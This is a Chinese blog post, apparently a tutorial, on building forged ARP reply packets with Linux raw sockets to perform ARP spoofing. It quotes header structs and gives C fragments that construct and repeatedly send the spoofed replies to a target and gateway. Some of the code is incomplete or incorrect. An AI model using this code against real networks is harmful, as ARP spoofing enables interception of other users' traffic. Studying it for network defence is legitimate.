1. 程式人生 > >原始套接字實現--arp欺騙

原始套接字實現--arp欺騙

1、利用原始套接字實現arp欺騙:

      首先我們要清楚arp的原理:

這樣我們就可以很清楚我們要做什麼了:

2、既然這樣我們就可以十分明白自己該怎樣做了。

  來看一下linux下的一些對於arp頭部的構造的原始碼和各個欄位的常見引數解析:去檔案/usr/include/net/if_arp.h /ustr/include/netinet/ether.h

struct arphdr
  {
    unsigned short int ar_hrd;/* Format of hardware address.  */
    unsigned short int ar_pro;/* Format of protocol address.  */
    unsigned char ar_hln;/* Length of hardware address.  */
    unsigned char ar_pln;/* Length of protocol address.  */
    unsigned short int ar_op;/* ARP opcode (command).  */
#if 0
    /* Ethernet looks like this : This bit is variable sized
       however...  */
    unsigned char __ar_sha[ETH_ALEN];/* Sender hardware address.  */
    unsigned char __ar_sip[4];/* Sender IP address.  */
    unsigned char __ar_tha[ETH_ALEN];/* Target hardware address.  */
    unsigned char __ar_tip[4];/* Target IP address.  */
#endif
  };

structether_arp {
struct arphdr ea_hdr;/* fixed-size header */
u_int8_t arp_sha[ETH_ALEN];/* sender hardware address */
u_int8_t arp_spa[4];/* sender protocol address */
u_int8_t arp_tha[ETH_ALEN];/* target hardware address */
u_int8_t arp_tpa[4];/* target protocol address */
};
#definearp_hrdea_hdr.ar_hrd
#definearp_proea_hdr.ar_pro
#definearp_hlnea_hdr.ar_hln
#definearp_plnea_hdr.ar_pln
#definearp_opea_hdr.ar_op

實現對於arp的頭部的構造,(arp中的option選項是有著   1  reques 2 reply 3 rarp request 4 rarp reply)

這裡你要恢復的是應答包:

struct arphdr * Setarp()

{

  struct arphdr * arp = calloc(1, sizeof(struct arphdr));

  arp->ar_hrd=htons(ARPHRD_ETHER);

  arp->ar_op=htons(ARPOP_REPLY);

  arp->ar_pro=htons(ETHERTYPE_IP);

  arp->ar_hln=ETH_ALEN;

  arp->ar_pln=4;

  return arp;

}

struct ether_arp * setArpPacket(u_int8_t * sendip,u_int8_t * sendMac ,u_int8_t * src_ip,u_int8_t * srcMAC)

{

  struct ether_arp * arp = calloc(1,ARP_LEN_MAX);

  arp->ea_hdr=*Setarp();

  memcpy(arp->arp_sha, sendMac, ETH_ALEN);

  memcpy(arp->arp_spa, sendip,4 );

  memcpy(arp->arp_tha, srcMAC, ETH_ALEN);

  memcpy(arp->arp_tpa,src_ip,4);

  return arp;

}

建立過程,對於如果使用libpcap傳送的時候還要構造一個MAC 頭部

/*

   #defineETHERTYPE_PUP0x0200          /* Xerox PUP */
#define ETHERTYPE_SPRITE0x0500/* Sprite */
#defineETHERTYPE_IP0x0800/* IP */
#defineETHERTYPE_ARP0x0806/* Address resolution */
#defineETHERTYPE_REVARP0x8035/* Reverse ARP */
#define ETHERTYPE_AT0x809B/* AppleTalk protocol */
#define ETHERTYPE_AARP0x80F3/* AppleTalk ARP */
#defineETHERTYPE_VLAN0x8100/* IEEE 802.1Q VLAN tagging */
#define ETHERTYPE_IPX0x8137/* IPX */
#defineETHERTYPE_IPV60x86dd/* IP protocol version 6 */
#define ETHERTYPE_LOOPBACK0x9000/* used to test interfaces */

*/

也就是  struct mac_header{

u_char dst[6];

u_char src[6];

u_short type;

};

這裡到底type   選擇 ==0x806

2、傳送arp資料,

   其實利用原始套接字有一個選項直接可以實現對於arp的選項

   這裡為

int sockfd;

 sockfd=socket(PF_INET, SOCK_RAW,  htons(ETH_P_ARP));

 if(sockfd==-1)

 {

return 0;

 }

構造頭部,

memcpy(buff,arp,ARP_LEN_MAX);

memcpy(buff+ARP_LEN_MAX,temp,strlen(buff));

傳送資料出去:

int num =  sendto(sockfd,buff,MAX,0,(struct sockaddr *)&server,sizeof(struct sockaddr_in));

   if(num>0){

    printf("%s",temp);

  }

    sleep(10);

其實實際清楚原理後這個是非常簡單的實現。這個原始碼也是非常簡單。如果對於什麼自己的MAc地址大家可以使用這個unix系統的萬能函式ioctl函式去獲取網絡卡裝置的上的ip地址,mac地址,廣播等資訊,這樣我們再去編序arp欺騙是就發現我們輸入的引數就只有了攻擊ip和 閘道器ip,這樣輸入更加少了,更加智慧一些吧。自己能力還是有限的哈,希望各位前輩多多提意見。 

相關推薦

原始實現--arp欺騙

1、利用原始套接字實現arp欺騙:       首先我們要清楚arp的原理: 這樣我們就可以很清楚我們要做什麼了: 2、既然這樣我們就可以十分明白自己該怎樣做了。   來看一下linux下的一些對於arp頭部的構造的原始碼和各個欄位的常見引數解析:去檔案/usr/

Linux原始ARP協議實現

1. ARP協議介紹  ARP(AddressResolutionProtocol)地址解析協議用於將計算機的網路地址(IP地址32位)轉化為實體地址(MAC地址48位)[RFC826].ARP協議是屬於鏈路層的協議,在乙太網中的資料幀從一個主機到達網內的另一臺主機是根據48位的乙太網地址(硬體

網路程式設計——原始實現原理

目錄 1. 基礎知識  1.1、概述 1.2、鏈路層原始套接字  1.3、網路層原始套接字 2、原始套接字的實現 2.1  原始套接字報文收發流程 2.2鏈路層原始套接字的實現     2.2.1  套接字建

原始實現網路監聽

 作者:張志強 下載原始碼 1、引言    網路監聽工具(sinff)是提供給網路管理員的一類管理工具。在乙太網中(Ethernet),當網路上連線多臺計算機時,某瞬間只能有一臺計算機可以傳送資料。乙太網中,資料是以被稱為幀的資料結構為單位進行交換的。通常,在計算機網路上交換

利用原始實現對流經本機IP包的捕獲

經過上一篇部落格的總結,我知道到了原始套接字接收到的字串的開始欄位是IP資料報的首部,所以我想除了之前利用win_pcap可以捕獲資料包以外,理論上來說原始套接字也可以實現對IP資料報的捕獲。思路也很簡單,捕獲到字串以後轉換成指向IP首部結構體的指標,再列印相關資訊就可以了

原始實現

#include <stdio.h> #include <string.h> #include <stdlib.h> #include <errno.h> #ifdef WIN32 #include <Winsock2

ping 程式(vc6.0 原始實現

#include <stdio.h> #include <WINSOCK2.H> #include <windows.h> #include <ws2tcpip.h> //IP_TTL #pragma comment(li

利用原始實現tracert路由追蹤

在windows的命令列下,使用tracert 域名/IP地址 可以記錄本機到目的主機所經過的路由器的IP地址。這個功能使用原始套接字也可以實現。 我們通過不斷地向目的主機發送ICMP-ECHORequest包,並且將包的TTL一開始設為1,這樣一到達閘道器路由器後,路由器

Linux原始實現分析---轉

本文從IPV4協議棧原始套接字的分類入手,詳細介紹了鏈路層和網路層原始套接字的特點及其核心實現細節。並結合原始套接字的實際應用,說明各型別原始套接字的適應範圍,以及在實際使用時需要注意的問題。 一、原始套接字概述 協議棧的原始套接字從實現上可以分為“鏈路層原始套

[原始碼和文件分享]使用原始Raw Socket實現資料包嗅探

背景 網路上隨時都流通了大量的資料包,我們要想實現抓包並分析,實現思路思路大概是:在合適的時候捕獲資料包,儲存到緩衝區,作為備用;然後,按照一定的結構和格式去讀取緩衝區的內容。由於各種公開的網路協議是已知的,所以對於資料包的分析就比較簡單。 通常我們都是使用類似WireShark的抓包軟體嗅

Linux原始之sniffer部分實現

1.概述  通常在同一個網段的所有網路介面都有訪問在物理媒體上傳輸的所有資料的能力,而每個網路介面都還應該有一個硬體地址,該硬體地址不同於網路中存在的其他網路介面的硬體地址,同時,每個網路至少還要一個廣播地址。(代表所有的介面地址),在正常情況下,一個合法的網路介面應該只響應這樣的兩種資料幀:&

Linux網路程式設計之原始-ping協議實現

1.概述 PING協議是用來檢驗本地主機與遠端主機是否連線,傳送的是ICMP ECHO_REQUEST包。普通的套接字是基於TCP或者是UDP的,無法傳送ICMP包,所以必須用原始套接字來實現。PING協議的客戶端型別值為8,程式碼值為0,表示請求。而PING協議的響應端型別值為0,程式碼值也為

linux原始-arp請求與接收

1 /** 2 * @file arp_request.c 3 */ 4 5 #include <stdio.h> 6 #include <stdlib.h> 7 #include <string.h> 8 #include <

python基礎之socket編程-------基於tcp的實現遠程執行命令的操作

logs lose stream res std 遠程控制 python log out 遠程實現cmd功能: import socket import subprocess phone=socket.socket(socket.AF_INET,socket.SOC

原始-TCP/IP下三層數據顯示

pf_packet printf linu 0.11 pes span close double ddr 1 #include <stdio.h> 2 #include <errno.h> 3 #include <unistd.

網絡駭客初級之原始(SOCK_RAW)

原始套接字 駭客 網絡駭客初級之原始套接字(SOCK_RAW)本文用實際程序完成了MAC數據包分析,網絡數據分析,MAC地址掃描器和飛秋欺騙在這裏我把原來的入門改成了初級,因為對於原始套接字的操作確實在普通的TCP,UDP之上TCP和UDP確實涵蓋了普通的網絡應用程序,但請註意“普通”二字,要成為一名

非阻塞實現並發處理

pre ror enc con put 服務 生成 import data 服務端 import socket server = socket.socket() server.setblocking(False) server.bind((‘0.0.0.0‘,8080)

實現埠重用

假如埠被socket使用過,並且利用socket.close()來關閉連線,但此時埠還沒有釋放,要經過一個TIME_WAIT的過程之後才能使用,這是TNN的相當煩銀的,為了實現埠的馬上覆用,可以選擇setsockopt()函式來達到目的。(以下是網上找到的一篇文章的一小段相關例子,試用之後,相當有效果,特此提

原始

步驟 傳遞 進程 讀寫 使用 整數 註意 完整 raw 定義原始套接字的目的在於提供訪問某個協議的接口, 通過原始套接字, 進程可以讀寫ICMPv4, IGMPv4和ICMPv6等分組, 進程也可以讀寫內核不處理其協議字段的IPv4數據報, 進程還可以使用IP_HDRINC

原始 傳送 TCP SYN 包

通過原始套接字、setsockopt、IP_HDRINCL套接字選項,我們可以在應用程序裡面構造自己的IP包: 所以我們在初始化原始套接字之後,可以呼叫setsockopt函式來開啟IP_HDRINCL套接字選項,並且構造自己的IP頭,TCP/UDP頭,最後再像傳送普通包一樣呼叫sendt